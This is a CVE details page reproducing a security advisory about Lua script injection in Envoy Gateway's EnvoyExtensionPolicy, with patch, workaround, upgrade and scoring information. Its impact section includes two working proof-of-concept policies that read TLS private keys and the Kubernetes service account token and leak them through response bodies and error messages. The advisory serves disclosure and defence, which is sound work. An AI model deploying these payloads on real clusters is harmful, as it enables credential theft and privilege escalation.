CVE-2026-22771 — Vulnerability in envoyproxy/gateway — CVE Details
Envoy Extension Policy lua scripts injection causes arbitrary command execution
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.87%). Schedule for your next planned update.
Does your project use an affected github.com/envoyproxy/gateway version?
Paste your go.sum to check it for CVE-2026-22771 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Impact
Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the EnvoyExtensionPolicy resource. Administrators can use Kubernetes RBAC to grant users the ability to create EnvoyExtensionPolicy resources. Lua scripts in policies are executed in two contexts:
- An
EnvoyExtensionPolicycan be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope. - Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.
Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.
For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: leak
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local cert = io.open("/certs/tls.crt", "r")
local content
if cert then
content = cert:read("*all")
cert:close()
else
content = "file-not-found"
end
local keyfile = io.open("/certs/tls.key", "r")
local contentkey
if keyfile then
contentkey = keyfile:read("*all")
keyfile:close()
else
contentkey = "file-not-found"
end
local keypair = contentkey .. "\n" .. content
response_handle:body():setBytes(keypair)
response_handle:headers():replace("content-length", tostring(#keypair))
response_handle:headers():replace("content-type", "text/plain")
end
This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following EnvoyExtensionPolicy will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status.
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: backend
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
local content
if token then
content = token:read("*all")
token:close()
else
content = "file-not-found"
end
io.write(content)
error(content)
end
Results in:
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
[...]
status:
ancestors:
- ancestorRef:
group: gateway.networking.k8s.io
kind: Gateway
name: eg
namespace: default
conditions:
- lastTransitionTime: "..."
message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:
failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\nstack
traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoy_on_response'\n\t<string>:625:
in main chunk\n\t[G]: ?."
Attackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.
Patches
The patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:
- Runs Lua
Strictvalidation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods. - Renamed
SyntaxtoInsecureSyntaxvalidation mode to signify that in this validation mode Lua won't be validated for possible security gaps. - Supports a new
disableLuaoption in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.
Workarounds
Envoy Gateway users can create Kubernetes RBAC rules (see docs) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).
Advisory Timeline
- First published January 13, 2026 (317 days ago).
- Last revised September 10, 2026 — 239 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
go get github.com/envoyproxy/gateway@v1.5.7
go get github.com/envoyproxy/gateway@v1.6.2
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (2)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| github.com/envoyproxy/gateway Go · Affected: All versions | 1.5.7 |
| github.com/envoyproxy/gateway Go · Affected: All versions | 1.6.2 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-94Code InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
References
Frequently Asked Questions
- What is CVE-2026-22771?
- Envoy Extension Policy lua scripts injection causes arbitrary command execution. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2026-22771?
- CVE-2026-22771 affects github.com/envoyproxy/gateway. It has a 0.9% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-22771 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 56.4% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2019-9901CRITICAL
EnvoyProxy Envoy Missing HTTP URL path normalization
- CVE-2026-53713CRITICAL
Envoy Gateway: Authentication Bypass via Improper Input Validation in EnvoyExtensionPolicy Lua Allows Secret Disclosure
- CVE-2026-108262HIGH
DDEV incomplete tar symlink traversal fix allows host file overwrite - Incomplete fix of CVE-2026-32885
- CVE-2026-130007HIGH
k8s-mcp-server: Missing authentication on default SSE/HTTP transport allows unauthenticated Kubernetes tool execution